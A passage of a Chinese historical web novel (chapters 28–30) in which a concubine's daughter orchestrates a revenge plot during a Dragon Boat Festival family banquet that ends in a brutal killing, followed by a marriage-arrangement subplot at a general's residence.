不该插话时，可以不说话！没人当你是哑巴。
苏君识究竟知情否，在这次事件中扮演什么角色，苏绾皆不得而知。但她未曾听芸娘提起过任何枝叶，想必苏君识也蒙在鼓里。
知不知情有何意义？反正他这个做父亲的，从来没有一天，尽到应尽的责任——无论是对她，还是对她娘。将来，他还会辜负芸娘，坑害宝哥儿。
苏绾恨道：“承蒙舅舅厚爱，女儿不胜感激。只是不知，舅舅这次，又要出多少血，给多少人擦屁股呢。”
一句话说得苏君识脸面红一阵白一阵。过去数年，苏君识没少受殷潜庇佑，当然全看苏夫人这个妹妹的情意。导致苏君识每每谈到殷潜，就气短心虚，好似耗子见猫。
苏夫人拿起一柄玉竹缂丝团扇——来自江南的礼品，轻轻摇动，笑道：“罢了，我不卖那个关子，明白说吧。温侍郎头年就跟我报备，年底要去杭州监管茶叶征收，我寻思也不碍事，就一口应承下来。谁知天有不测风云，今年夏天正逢大旱，杭州那边明年的春茶，怕是要收不上来。”
苏夫人假意皱眉，“这节骨眼儿，没人管怎么行。家兄已上本禀奏皇上，恳请朝廷委派钦差大臣于六月底尽快出发，监管茶苗种植，预防明年招灾。这不，事情就落到温侍郎头上。皇命难违。”
忽然嘴角一斜，转忧为喜，“本来呢，你的婚期定在九月初八，紧赶慢赶也是不赶趟。然则你不必担忧，新郎官还能撇下新娘子，自己溜了不成？所以呢，为娘替你安排，叫你也跟着去杭州，不至鸳鸯背飞水分流。”
手中团扇一停，苏夫人得意道：“杭州物华天宝，乃为娘的本家，我合族的亲眷都在那里。”丹凤眼一瞟，精光闪耀，“我的儿，你们到了杭州，保准能享受到来自我殷家的‘特别照顾‘”。
结尾四字，咬牙切齿。
28. 杀鸡
特别照顾。
四字萦绕耳际，化为铜铃央央，敲打苏绾神经，一跳一跳。眼前事物逐渐模糊，光影暗淡，失去边缘色彩，变成灰白。
苏绾感到头晕目眩，她两手扶住桌案，勉强支撑身体，不叫自己跌下凳去。
事情向最糟糕的方向发展了。
此举旨在绑定她和温如初，打包递送虎口。婚约形同虚设，如今结不结婚，在所有人眼里，她都是温如初的人了。
前番百般筹谋策划，尽数化为一场空。
胸腔紧紧压迫感，咳了几下，口中一股腥甜。手中的帕子洇湿，苏绾却死死攥住，不敢打开来看。
她不能跌倒于此。
苏绾强撑着站起身，扯开嘴角淡然一笑，“母亲如此体贴女儿，处处为我打算好，我还有什么话可说。”
她这招伸手言和，惊得苏夫人一愣，她已准备好，同庶女叫骂三百回合，让小杂种无话可说。可这小杂种竟然不上套，真真给人添堵。
苏夫人面色阴沉，“你少跟我假模假式充傻装楞，仗着姓温的宠你，就想骑到我头上来，不能够！实话告诉你，此行就是要送姓温的上西天，你也跟着一同作陪。”
“哼，你给姓温的灌了迷魂汤，哄得他分不清东南西北，竟然要将我的宝贝女儿送去西藏吐蕃和亲随嫁，瞎了他的狗眼！”
此话一出，苏君识震惊得胡子眉毛掉一地，不过他知不知道都没影响，也没人听他的。他只庆幸，女儿和亲的责任没怪罪在他身上，否则，他可无力承担。
苏绾心里冷笑，狗咬狗一嘴毛，以为一个殷潜就能震慑温如初，教他收回成命？他有势力和人脉，也有头脑和运气，想扳倒他，可没那么容易。
然而城门失火，殃及池鱼。温如初不会怎么样，苏绾却要跟着遭殃，杭州就是她的葬身之地。
苏绾面上不露声色，“人各有命，女儿也不强求。过去种种，女儿皆已得到教训。大过节的，何必扯这些不开心的事。”
苏绾从桌案放置的一盘水晶豆沙粽中，挑选一枚包裹严实齐整的，诚恳地双手奉给苏夫人，“今日端阳佳节，女儿亲手包的粽子，献给母亲品尝。祝愿母亲长长久久，和乐升平。”
上一次苏绾“认输”，还是在大理寺狱，苏绾声泪俱下，表示愿写悔婚书。苏夫人倒不疑心苏绾有诈，小杂种还没本事算计到她前面。只当她是又一次折服于自己的威慑之下。
眼见苏绾式微，苏夫人耷拉着眼睑，阴阳怪气道：“知道吃了教训就好，你舅舅并非昏庸无道之人，他见你诚心悔过，总不会叫你太难堪。”
母女二人一唱一和，安详喜乐，真好似血缘至亲一般，倒叫那亲生的在一旁羡慕嫉妒恨。
这边厢，婆子进门招呼：“饭菜已齐，家宴开始。”
苏绾出得后厅，见芸娘抱着宝哥儿，两眼昏暗无光，一脸颓丧模样。
苏绾问道：“谁又惹你不高兴？”
芸娘破天荒没诉苦，只摇摇头，轻描淡写，“宝哥儿碰手了，哭了两声。”
苏绾闻言，伸手抱过宝哥儿，心疼地贴着小脸儿，“宝贝，阿姐看看，疼不疼？”
宝哥儿瘪着小嘴，举着小胖手，“疼～”
无霜向苏绾挤弄眼睛，又瞅瞅旁边婆子，苏绾瞬间了然。
孩子被人故意欺负了。苏家的下人什么德行，苏绾早八百年前就领教过。
须上演一出“杀鸡儆猴”，给这些狗腿子点颜色看看，教他们付出血的代价。
苏绾轻抚后背，细声安抚：“宝贝乖，阿姐打坏人。”
她眼眸一沉，望向桌案摆放的雄黄酒，沉默片刻，偷偷跟无霜细语。
无霜两眼一滞，盯着苏绾使劲看，见苏绾默然阖眼，无霜作罢，寻了间歇悄然离去。
宴席暨始，席间觥筹交错，推杯换盏。
一桌上坐着苏家家主苏君识苏夫人，并十六岁嫡子苏尽欢，十七岁庶女苏绾，以及一岁半庶子宝哥儿。
芸娘虽为新过门的姨娘，然身份地位比起婆子婢女高不到哪里去，也轮不到上主桌，同几位府上资深的管家及嬷嬷一起，坐在后厅用膳。
官宦人家等级制度森严，谁也不得随意僭越。
宝哥儿坐在高凳，小胖手举着一块白面饽饽，往嘴里使劲塞。无奈统共只生俩颗小牙，啃食半日，也没吃进星星半点。
宝哥儿涨红小脸，晃动小手，“饿～”
苏夫人嫌烦，嗔道：“既知吃不了食，怎不喂饱再出门？搅了人的胃口。”
话语尖酸刻薄，听得苏绾眉头紧蹙，她瞟了苏夫人一眼，放下手中箸筷，揶揄道：“母亲高寿，红口白牙齐整，吃得饱睡得香。我们小宝贝，比不了。”
“放肆。”
大概嫌苏夫人傲娇过头，亦或心疼麟儿挨饿，苏君识突然怒斥一声，吓得在座女眷一激灵。
“乳娘在哪里？过来喂奶吃。”
苏君识难得发脾气，苏夫人不再吭声，她懂得如何做体面的正头夫人。
乳娘被人从后厅急召过来，也没弄清楚情况，一屁股被摁在木凳，紧挨苏绾右边。
苏绾拍拍乳娘肩膀，柔声道：“宝哥儿饿了，就在这里吃奶。”
乳娘有些羞赧，大庭广众之下喂奶，忒不合时宜。她忸怩作态，迟迟不肯解衣。
苏绾伸手除她衣扣，“莫怕，老爷亲口下了命令，谁都不敢笑话你。”
解开罩衣，半遮半掩，露出雪白皮肉。
苏绾侧身挡在乳娘面前，伸手递过宝哥儿。小宝贝饿急，甫一接触，大口大口嘬不停。
苏尽欢坐在苏绾左边不远暇，角度刁钻古怪，春光乍泄，一览无余。
他斜眼盯着那片起伏跌宕，小儿吮乳之声，砸吧砸吧，一下一下，每一口都嘬在心头，奇痒无比。
苏尽欢乃纨绔子弟，最喜出入花街柳巷，领教行院千百般花样手段。
衔乳他干过，牛奶他也喝过。然而，这等吮人乳之举，他还未曾尝试。
想着想着，业火涌上胸口，少年忍捺不住，以袖边揩去嘴角三尺垂涎。
他端起白瓷酒盏，一杯又一杯，不停灌雄黄酒，欲以凉酒浇热火。
可不知怎的，火苗愈浇愈旺，大有燎原之势。
苏绾斜睨苏尽欢，猥琐之相尽入眼帘。她故意收身挪了挪，挡住邪恶视线来源。
苏绾低声对乳娘道：“你也累了，喂完去西下房歇息，今晚不必回去。”
声音不大不小，被苏尽欢听了正着。
宝哥儿吃饱喝足，冷冷推开乳娘，再不肯嘬一口，伸着小手呼唤：“阿佳，抱。”
乳娘完成任务，起身拜别众人，依照苏绾指示，匆匆走去西下房不提。
剩下苏尽欢，跌坐在凳子上，满脸通红，一副失魂落魄模样，两脚不停抖动。
苏夫人敛着眉间，“这么大人了，还抖脚。男抖穷，女抖贱。”
苏尽欢起身欲作揖赔不是，熟料脚跟未站稳，差点跌个趔趄，顺带着白瓷酒盏跌落在地，“咔嚓”碎裂两半。
“哎呦，小祖宗，造孽哟。”旁边伺候的婆子互相争抢着，都想占打扫清理的头功。
苏尽欢“嘿嘿”一笑，舌头打结，囫囵不清，“母亲大人～儿喝得有点……高，先、先行告退。”
苏夫人见惯他烂醉如泥模样，也懒得管他，挥挥手打发他走人，长叹口气，“我为这竖子，操心操到老死。”
苏君识夹起一块“盘龙鳝”，讨好地递送苏夫人嘴边，“夫人消消气，莫跟那不孝之子置气，不
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值当。”
苏夫人忸怩张嘴，吃下鳝肉，行为矫揉造作，捏着嗓子道：“你瞅瞅，我为这个家付出多少，生生熬白头，有谁记得我的好！”
夫妻携手，共话巴山夜雨，令人感动垂泪。
苏绾一个字未听进去，目光紧紧盯着苏尽欢。见他出门走向长廊，停了一顿，并未返归他居住的东厢房，而是跌跌撞撞向西下房方向趸去。
路，是你自己选择的，莫要后悔。
苏绾眼眸渐渐深沉，泛出一层冷戾之色。
宴席逐渐趋近尾声，约摸一炷香工夫，苏绾借口出恭，离开厅堂，到庭院天井透气。
踩着细嫩绿草，借着溶溶月色，苏绾来到门房处。看门刘嬷嬷一条腿搭坐塌边，倚墙嗑瓜子吃。苏绾跨进门槛，“嬷嬷吃了没？”
刘嬷嬷抬起老眼一瞧，见是苏绾，爱搭不理，“吃了几颗浙江嘉兴蛋黄肉粽，舅爷千里寄送来的原材料，油水厚实着哩，这会子我消化消化。”
苏绾笑道：“嬷嬷辛苦，端阳节还要替苏家守着这门槛。”她瞧见四下里无人，忽然眼眸一转，神秘道：“大过节的，嬷嬷想不想赚点外快？眼前正有一桩买卖，不知嬷嬷有意否？”
刘嬷嬷诧异道：“什么买卖？”
苏绾上前一步，凑近刘嬷嬷耳际，“方才我一路走来，听见西下房传来吟哦呜咽，靡靡之音。想必哪个不开眼的，正行苟且之事。”
她捂着嘴唇，“嬷嬷行使看门职责，堂而皇之抓他现行，索要几两银子‘保密费‘，天经地义，不在话下。他二人唯恐嬷嬷告发，自然不敢不交。”
刘嬷嬷待在苏家二十载，干活说不上有多卖力，敲诈勒索是她拿手好戏。因她有个赌博的嗜好，常常入不敷出，倘若不使些龌龊手段找点进项，她早被债主千刀万剐了。
然刘嬷嬷也是江湖老货，并不轻易相信他人，攥着瓜子，迟疑道：“有这等好事，为何独独找我？别是你们联合起来，陷我于不义吧。”
苏绾嘴角上扬，“看嬷嬷说的，我好歹也是苏家二小姐，何苦陷害嬷嬷你，对我有甚好处？”
“下人通奸，传出去丢我苏家颜面，我也不想跟着背骂名不是。”
“这事是我发现的，倘若我站出来揭发，他们或挨顿打或赶出门，除了招人记恨，我可得半点赞誉？”
“不若交给嬷嬷处理，我既卖个人情，嬷嬷捞点油水，他俩花钱免灾，所有人皆大欢喜。”
“这里面是是非非，孰轻孰重，嬷嬷可明白？”
苏绾说得没错，她是苏家二小姐，又不能明面敲诈勒索，到最后白白受人埋怨，苏家也不会记她的好。刘嬷嬷在苏家二十年，大宅门里的门道，她摸得门清。
刘嬷嬷砸吧砸吧嘴，吐出两片瓜子壳，喜道：“老奴明白，二小姐为苏家尽心尽力，老奴佩服。”
她伸手划拉塌上残渣，抖落衣襟浮灰，拔座起身，“事不宜迟，老奴这就去，保准干净利落。”
苏绾笑道：“祝愿嬷嬷马到功成，财源滚滚。”
刘嬷嬷穿上新做的缎面比甲，鬓发抹了点头油，梳理光滑整齐。烛光映照她惨白老脸，仿佛施了魔法，所有褶皱消失不见。整个人容光焕发，返老还童，所谓人逢喜事精神爽。
她不仅为即将到手的银子感到兴奋，更在意的是，就连苏家二小姐，都要上赶着讨好她，卖她人情。现在的她，地位与日俱增，今非昔比。
白日里被芸娘那个贱婢捶了一拳，这份仇恨她刻骨铭心，来日必将以牙还牙，以眼还眼，叫那贱婢，挫骨扬灰，吃不了兜着走。
哼，都是一样的下贱身份，谁还瞧不起谁啊。
“噗。”
刘嬷嬷吹熄烛火，打开破旧木门，银白月光洒了她一身，好似披了一件麻衣。
29. 儆猴
夜幕落星河，耿耿漏绵绵。
刘嬷嬷踩在稀疏的石子路，深一脚浅一脚，踩得石粒咯吱咯吱响动。微风有一阵没一阵乱吹，吹得她莫名其妙地心慌意乱。
抓人通奸的勾当，她干过不止一次两次。当年苏绾娘九香被人逮住偷情，就是她亲自报告的口信。
那亦是一个风清月明的夜晚，刘嬷嬷才吃过一碗打卤面，躺在磨房土炕养膘，琢磨第二天一早杀去赌坊回本。
翻了一个身，忽闻外面有动静，淅淅索索。仔细一听，似有人物对话声。
“你沿着这条路一直走，西边拐角第二处厢房就是了。”听声音好似苏夫人手下的管事嬷嬷。
“知道了。”说话声为一陌生男子，嘴里似含着一口浓痰，囫囵不清。
管事嬷嬷吩咐道：“这会子她已睡下，你但去她屋里无妨。记住，不要说太多话，专心把我交代你的任务完成，后面的事情无须你再管。”
“放心吧。”陌生男子笃定道。
二人声音渐行渐远，刘嬷嬷在墙角听得很清楚。西边拐角第二处厢房，不就是姨娘的房间，黑灯瞎火的，管家嬷嬷引男人去那里做甚？
她在心里琢磨几个来回，忽然脑内灵光一闪，兴奋拍手，“原来如此。”
刘嬷嬷披上褂子，打开磨房破烂木头栅栏门，趁着浓浓夜色，悄悄跟随其后。
那二人在长廊尽处分开，陌生男子按照管事嬷嬷吩咐，摸到西厢房门，用小刀仔细挑开门栓，钻进漆黑一片的屋子。
过了一会儿，只见屋内响起一声低低尖叫，声音浑浊不清，好似被堵住嘴。
刘嬷嬷见鱼已上钩，此时不动，更待何时。她“刷”得一下，踹门而进，大喊一声：“有奸情！”
声音嘹亮传四方，片刻起，庭院各处掌灯，人群开始不断聚集，不晓得发生何事。
床前两人皆慌乱无措，女人绝望悲恸，男人则满脸疑惑。
他瞪着眼睛瞧刘嬷嬷，嘴里嘟囔，“怎么来得这样快？我还没办事呐。”
刘嬷嬷冷笑道：“哼，你还想办事？想得美！我盯着你俩好久了，奸夫□□，今儿个终于被我抓正着。废话少说，咱们一起去见老爷夫人。”
男人还想辩驳几句，似乎跟预定计划不一样，但又大差不差。他感到星许吃亏，明明说好先办事，再来人捉。搞得兴起，没得发泄，难受死人。
刘嬷嬷出得西厢房，迎面撞见匆匆赶来的管事嬷嬷，对方亦是一脸惊诧，怒嗔：“谁让你来的？差点坏事知道么？”
刘嬷嬷自知做得出格，赶紧弯腰赔笑，“老姐姐莫担心，我都明白，明白，心里明镜。保证不会坏事，你放心吧。”
她瞥了一眼西厢房屋内，故意挑高音量，“我早就注意到，那两人通奸已久，今儿个终于抓她现行，看她还敢抵赖。”
管事嬷嬷心里一震，刘嬷嬷这是要截胡。本来这通计划里，根本没刘嬷嬷什么事。被她这么一掺和，反倒让她抓住机会立了头功。
事已至此，管事嬷嬷也不敢乱说话，生怕激怒刘嬷嬷，露了马脚坏了事，引来苏夫人责怪，只好任由刘嬷嬷胡扯发挥，让她去跟老爷夫人报信。
在苏夫人面前，刘嬷嬷煞有介事数落九香的不贞，那情景仿佛她亲眼目睹。也多亏她的“报信”，最终导致九香落得“沉塘”下场。
苏夫人以为刘嬷嬷本就是计划中的一颗棋子，事后夸她办事得力，还特地奖赏刘嬷嬷，升职为看门嬷嬷，这可是一份肥差，活少油水多。
只可惜因此得罪了管事嬷嬷，看门一职，刘嬷嬷一干就是十年，再没得机会晋升。
无论如何，总好过待在磨房，整日跟驴子磨豆腐，呸呸，那简直不是人过的日子。
月明浸疏竹，泠然洗浊意。
“嬷嬷！”
刘嬷嬷正专心走路，冷不防听见身后有人唤她，吓得她一激灵，跳脚直嚷嚷：“哦呦，财神爷保佑。”
回头一看，原来是夫人房里的小丫鬟阿沁，提拉着绔子，想是准备出来小解。
阿沁今年十二岁，一副稚气未脱的模样，还是个孩子。她是苏夫人钱塘老家的远亲，自小被送至京城苏夫人身边，做贴身伺候洗漱的小丫鬟。
阿沁道：“嬷嬷这是要哪里去？”
她上赶着去捉奸敛财，这事怎可能让别人知道，瓜分她的财气，截胡她的牌局。
刘嬷嬷欲编借口打发阿沁，谁知话还未出口，被阿沁抢先一步，“我才刚看到二小姐从你屋里出来，可是她找你有事情？”
通风报信之人，最忌讳被人看穿阴谋，倘若将苏二小姐抖搂出去，刘嬷嬷绝对不得好果子吃。
刘嬷嬷脸一黑，“乌漆墨黑的，你哪只眼睛看见二小姐？分明就是我一个人才出门。小孩家家的，净胡说八道，滥嚼舌根，小心我去夫人面前告状，罚你一顿板子。”
阿沁遭她诟谇，心里觉得委屈，不知怎就得罪了她，扁嘴呜咽道：“告去告去，人家就是看见了嘛。”说完一赌气，扭头就跑，打定主意从今以后，再不理刘嬷嬷。
眼见阿沁小身影消失无影，刘嬷嬷心下松口气，这等毛孩子，一经吓唬魂都飞了，准保不敢乱说。
趁着月色，刘嬷嬷加快脚步，耽搁许久，别是人家干完了事，她扑了场空，那真是瞎子点灯——白费蜡。
很快来到西下房，此时仆从们都在厅堂伺候家宴尾声，一排房间皆暗无灯火。
刘嬷嬷悄悄走近房门，在廊檐底下倾听动静。
夜阑风静彀纹平，丝丝缕缕风动，隐隐约约夹杂细细喘息，似有似无，难以辨清。
果然有猫腻。
刘嬷嬷嘴角一斜，天降横财，运气来了，挡也挡不住。
她气沉丹田，鼓足一股劲，用力踹开房门，轻车驾熟，迅雷不及掩耳之势，噌的一下窜进黑暗房间。
“大胆，竟敢在老身眼皮子底下偷腥，你们大祸临头了！我这就抓你去见老爷夫人，将你俩活活打死。”
声音不高不低，既能起到震慑作用，又不叫外面的人听了去，以免打草惊蛇。
黑暗之中，一对身影纠缠，上下叠罗，如海浪般颠簸起伏。
刘嬷嬷等了半日，不见对方求饶，心里十分纳罕。以为对方未听清楚，她上前两步，咬牙切齿道：“唉？装蒜是吧，给我起来，咱们说道说道。”
喘息声并未中止，反而愈演愈烈，快马加鞭，似要登天之势。
竟有如此胆大妄为之人，完全无视她的存在。刘嬷嬷怒上心头，破口大骂：“狗娘养的，不给你点厉害尝尝，你当老娘好惹的。”
刘嬷嬷伸出手去拉上方臂弯，欲将二人强行分开。她用力一扯，竟然没扯开。
对方纹丝未动，好似绑在一处的两只蜻蜓，呼哧带喘苦干繁衍事业。
入你娘的，邪门了。
刘嬷嬷捋起袖子，一边骂骂咧咧，一边抡起木凳，照准上方后脊，施了五分力砸下去——可不能砸头，万一砸死了，她跟谁要钱去。
“啪嗒”一声。
随着一声响动，对方终于停止剧烈动作，虾弓在黑暗中，气喘吁吁，沉寂不言。
刘嬷嬷啐了一口唾沫，“呸，你丫的有病吧，不打不服气是么。还能不能说事儿？”
电光火石间，那身影倏然挺立，通的一下拔开活塞，自软绵处一跃而下，好似猿猴般灵敏。
恰时一抹月光扫过窗格，照射猴子身影面庞，容貌一清二楚。
白面长身少年，光溜溜的脊梁。斜眉横飞，三角眼眸充满血色，泛着令人不寒而栗的凶光。
“少、少爷！”
刘嬷嬷大吃一惊，赶紧扔下木凳，跪地咣咣磕头，拖着假意的哭腔，“少爷饶命，老奴无心打扰，认错人了。”
苏尽欢似听不进任何言语，趋步刘嬷嬷跟前，二话不说，抬起右脚，一脚倒劈后脊。
只听“咯吱”一声，骨节碎裂两节。
刘嬷嬷两眼一黑，下身顿时没了知觉。她两手匍匐爬行，四处慌乱逃跑，扯开嗓门哭喊道：“救命啊，救命！”
苏尽欢顺手抄起那张砸他脊背的木凳，高举过头，月光映照他狰狞扭曲的脸孔，怒目圆睁，口里
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吐着长舌，青面獠牙，仿佛恶鬼降世。
一下，两下，三下……
无数夯击，雨点般狠狠砸向头颅。
求救声音渐渐式微，取而代之的是喘息，慢慢的，连那点残余喘息，亦销声匿迹。
意识逐渐远离，剩一点火花跳跃。
脑海浮现出苏绾的脸颊，笑容冰冷且陌生，“我好歹也是苏家二小姐，何苦陷害嬷嬷你，对我有甚好处？”
可恶，大意了。
心头的恨意剥茧抽丝，抽出一丝溃败的懊悔。那丝悔意自破碎的脑壳渗出，漂浮在流动的脑浆中，渐渐地，融入土坷垃，化作污泥不见。
钩月隐匿纤凝，夜爱疏影横斜，大地陷入漆黑苍茫。
家宴结束后，仆从陆续离开。苏老爷苏夫人已回房休息。
芸娘抱着熟睡的宝哥儿，向苏绾抱怨道：“我都没机会跟老爷说句话，他就被女大虫拽跑了。”她起身往外走，“咱们也走吧，留在这丢人现眼。”
苏绾支颐案边，望着窗外半边弦月，低声道：“再等等，马上就来了。”
“什么来了？”
芸娘正欲询问原因，忽然门外吵嚷一团，给了她答案——显然又添了更多疑问。
接下来的一刻钟，想必是芸娘生命里最漫长的一段历程。
她茫然地听仆从们左一句，又一句的汇报，说些令她毛骨悚然的字眼，诸如“死尸”、“脑壳”、“黏糊糊”、“皮肉分离”等。
芸娘问道：“谁死了？”
仆从们摇头，死者面目全非，看不清面貌，根本无法辨认。
芸娘扦住苏绾手腕，慌道：“别是乳娘没了吧？你不是叫她去西下房睡觉？出事的可不就是西下房。”
苏绾还未回应，一名胆大的婢女抢着答道：“不是乳娘，她还活着，只是厥过去了，暂时不省人事。”
“阿弥陀佛，万幸万幸。”芸娘拍着胸脯庆幸。
乳娘也算她房里的人，她理应负责保护乳娘的人身安全，人不能在她手里出事。
可一个问题得到解答，立刻又蹦出下一个问题。
“谁杀的？”
在场所有人突然噤若寒蝉，任凭芸娘再三询问，无一人敢站出来说话。
那边苏夫人接到口信，鞋子来不及穿，一路打赤脚向西下房奔去。苏君识心宽体胖，步履蹒跚，落在后头。
夫妇二人狂奔至西下房，只见现场一片狼藉，血腥气味充斥，血肉碎片飞溅，脚下猩红血液流成河。
在一堆不成人形的碎肉旁边，蹲踞着一只似人非人的兽，浑身光不溜秋，手里握紧一根支离破碎的木凳腿，正一下一下地捣鼓肉糜。
“啊——”
苏夫人大叫一声，登时两腿一伸，就地晕厥过去。
旁边伺候的婆子惊呼：“来人呐来人呐。”
苏君识到底是苏家家主，家里发生大事件，他当即下令关紧大门，不许任何人出入，苏家进入全员备战状态。
家奴握着棍棒封锁门户，所有人均原地待命。一家子人聚集厅堂，黑压压一片，个个人心惶惶不安。
芸娘惊恐万状，眼神逡巡四周，她颤颤巍巍抓住无霜的手，“你看到刘嬷嬷没有？我仔细看了四五个来回，都没找见她。你说，会不会是刘嬷嬷出事了？”
无霜正四处寻找软垫给苏绾用，然而偌大厅堂，容不下一张坐垫。她低头咬唇道：“姨娘莫慌，嬷嬷许是还在门房守候，这会子不在眼前。”
芸娘忧心忡忡望向苏绾，她有一种不好的预感，这事大概跟苏绾有关联。她担心苏绾，为了承诺帮助她，从而引火上身。
苏绾倚靠屏风，席地而坐，双眸阖合打盹儿，怀抱里的小宝贝睡得香甜，还打了个小小呵欠。
端阳佳节，月华如水，夜风清冽。户户挂艾草，荷叶菖蒲浸香。醉人歌声，飞泉鸣玉，回荡在江畔。大红灯笼高挂，点亮银河长空，与繁星共舞，坠入苏绾的梦。
梦里繁华喧嚣尽处，却是满目疮痍，山河破碎，战火硝烟弥漫。熟悉的松脂气味萦绕，久久挥之不去。
30. 定亲
永乐二十五年，五月初八，东城时将军府。
家丁陆续撤掉屋檐下悬挂的菖蒲、艾蒿，以及五颜六色的纸扎葫芦。婢女将包粽子的箬叶清理干净，捆绑成扎，留待来年重复利用。
端阳节日的氛围逐渐消散，时府亦恢复往昔的宁静。不知何时，虬枝低绣拂墙处，多了一抹娇俏倩影。仿若一只蝴蝶，晴日纷纷逐花老。
时枫负手驻足窗前，眯眼眺望花间舞蝶，并未感到一丝愉悦，心底无端添得三分烦扰。
已经三天了，没有半点音讯。
苏府大门紧闭，除却偶尔一两杂役从侧门通行，中间不见任何人出入。紫竹苑那边，更是空无一人，伙房的烟囱就没冒过烟。
事出反常必有妖。
苏家向来仇视苏绾，如此大张旗鼓封门闭户，必有大事发生，且多半于她不利。
难不成那疯婆娘，被人拿住一枕荒唐的把柄？那他岂不是又一次亲手推她入火坑？
男人凤眸剪了剪，睫毛凝结沉郁的风霜。
忽然身后响起一声清咳，“榆白世侄，你在这里。”
原来是福建都指挥使沈恪沈老将军，鹤发垂袍叶，矍铄夸身健。他奉旨进京面圣，端午傍晚到达京城，这几天一直客居在时府，等候圣上召见。
时枫躬身唱喏：“伯父找我有事？”
沈恪正襟危坐，神色凝重，“我自进京请命，全为福建沿海抗倭一事。近二年来，海寇频繁滋扰渔民乡民，武装走私，杀人越货时有发生。究其缘由，邻边倭国战火纷飞，南北内战导致民不聊生，大量倭贼涌入我朝临海，尤其浙江、福建等地。倭寇挂着八幡大菩萨的旗帜，冲破室町幕府和我朝的联合规定，大肆掠夺我朝财富。”
“区区小贼，本不足为惧。老夫临危受命，同倭寇海战将近数百次，胜负十之八九。然就近半年来，老夫发现，受我所擒之贼寇，三成竟为我朝子民。他们熟悉环境，又无语言障碍，勾结浪人倭寇，成为所谓的‘假寇‘”。
时枫叹道：“我朝皇帝仁济天下，爱民如子，怎会有人甘愿做贼寇？”
沈恪掀眸，“这也正是老夫此行的真正目的，我怀疑朝中有‘内鬼’，官员吃里扒外，勾结倭寇，联合掠夺沿海资源。浙江布政使殷潜，目前嫌疑最大。”
“然而始终缺乏确凿证据，暂不能盖棺定论。不日待我面见圣上，恳请彻查此事。免不了要兵部指派钦差大臣并总都督，调遣一支训练有素的军队协助调查。”
沈恪虚眯老眼，意味深长，“只要，能过得了内阁那一关。”
时枫表情略微惊讶，既牵连封疆大吏，必是一件万分棘手的案子，搞不好掀起朝廷血雨腥风。
他蹙眉道：“眼下朝廷正值用人之际，兵部一时调挪不开将领监督倭寇，伯父此行，恐怕无法达成所愿。依小侄拙见，待我草拟一份《抗倭战略》，一同递交圣上，有的放矢，也利于圣听裁断。”
沈恪捋须赞道：“甚好。就按世侄所说的办。”
正事说完，沈恪却没有要走的意思，端坐太师椅内悠哉品茗，斯哈斯哈吹热气。
时枫觉得奇怪，“伯父可还有事？”
沈恪慢慢悠悠嘬了一口“老君眉”，砸吧砸吧嘴，缓缓放下茶盏，俄延良久，“我与你爹时谦，自小光着屁股追着跑的交情，同生共死，一晃将近六十年。当年你爹困在大漠，孤立无援，是我单枪匹马，深入虎穴，将他从死人堆背出来。”
“可惜，”沈恪叹道：“老夫无能，无法让他从历史洪流全身而退。这么多年，他都没能离开那片荒漠，只好做个落魄王爷，槛花笼鹤，实在委屈了他。”
沈恪说话有一遭没一遭，听得时枫一头雾水，不晓得他葫芦里卖的什么药，淡淡道：“家父做此选择，无怨无悔，伯父无须介怀。”
沈恪伤感一阵，突然话锋一转，“当年我救出来你爹后，他痛哭流涕，无以为报，竟厚着脸皮，直要与我结为亲家报恩。”
老头气得白眉乱翘，“哼，他想得美，彼时我家卿卿才刚满月，粉嫩晶莹如耀眼明珠，凭啥拱手送给你们时家。”
“你爹一辈子，只得你们兄弟俩。时樾年岁稍长，配我家卿卿，着实大了些。唯剩你一个，我也没得挑选。”
什么？！
时枫牛眼瞪老大，他爹竟擅作主张，给他定下娃娃亲。终身大事，也不提前通告他一声。
茶烟袅袅，沈恪端起茶盏，吞了口温茶，咕噜咕噜浸润嗓子，“你是个好孩子，心地纯良，宅心仁厚。把卿卿交给你，我放心。”
老头捋了捋胡须，两眼露出喜色，“而今卿卿破瓜年华，女大不中留，也不能独守我这老骨头一辈子。此行我出来，特意带着卿卿，好叫你俩早日结成连理。”
“你是怎么想的？”沈恪问道。
时枫呆呆地立在窗前，竟不知如何作答，脑子里一团乱麻，根本理不出头绪。他本能地想回绝，又怕伤了老人家的自尊心。
犹犹豫豫，欲言又止。
沈恪见他这副尴尬模样，权当他是，大姑娘上花轿——头一遭，大声笑道：“你与卿卿自小结缘，共同相处过好几年，彼此相知相识。我家卿卿乖顺听话，六艺经传皆通习之，模样身段一顶一，绝不会丢了你时家的脸面。”
“这也是你爹的意愿。”沈恪强调。
他爹时谦是个老糊涂，世人眼里的“愚忠王爷”，哪里懂得儿女心思。
时枫眉毛拧成一团，脸色愈加发黑，铁面无情，还真应了他的绰号“冷面阎罗”。
阴森黑脸吓得沈恪一哆嗦，心里蓦然升起一丝懊悔，担忧女儿嫁给他会挨打受气。
忽然，时枫起手拜道：“伯父所言极是，然事关人身大事，请容小侄再多思虑几日答复。伯父先坐着，小侄还有公事要办，回头再来拜见，告辞。”
言毕，时枫一甩袖子，径自启门阵风般逃走了。
剩下沈恪独坐案前，望着窗外“蝴蝶”翩跹，气得吹胡子瞪眼睛，“跟你爹一个德行，倔驴脾气，不识好歹。卿卿嫁给你，我还舍不得呢，哼。”
翻阶蛱蝶恋花情，容华飞燕相逢迎。
那只小小蝶儿，迎着和风，追逐繁花，不经意飘落到时枫眼前，迷了他的眼。
沈枝意兴奋道：“枫哥哥，我好闷得慌，你明日带我去逛逛什刹海，好不好？”
时枫正受定亲一事烦扰，蓦然撞见他的“未婚妻”，心里顿时掀起莫名厌恶感。
男人站定一瞬，略微点点头，表示“他知道了”。旋即迈开脚步，大步跨过沈枝意，头也不回绝尘离去。
任凭身后半句话，余音缭绕，隐入风声。
“枫哥哥，说话要算数哦。”
伴随轻微叹息，“蝴蝶”怅然若有失，翅膀耷拉，再无心游戏花丛。
时枫行色匆匆，逃也似的来到书房，门前晴雷守候多时。
“爷去哪里了？”晴雷抱怨道。
时枫瞥了他一眼，嗔道：“有事快说，有屁快放。”
晴雷上前一步，低声道：“苏府‘鳐鱼‘刚刚飞鸽传书，府内出了人命案子，凶手正是苏家嫡子。苏家封锁门户，妄图遮掩丑行，正四处运作求人。”
“苏绾呢？”男人语气迫不及待，他并不关心其他人死活。
晴雷回道：“苏姑娘平安无事，只是身子有些乏累，整日躺着不爱说话，想是受了惊吓。”
“哦。”男人焦躁的心，犹如淬火的铁砧，迅速平静冷却。
既非苏绾的过错，那她暂且算是安全，他也不必再替她担忧——推她入火坑的错误，他不想犯第二次。
时枫长舒一口气，坐定下来，摩挲束腕间镶嵌的绿松石，“是怎样一出命案？”
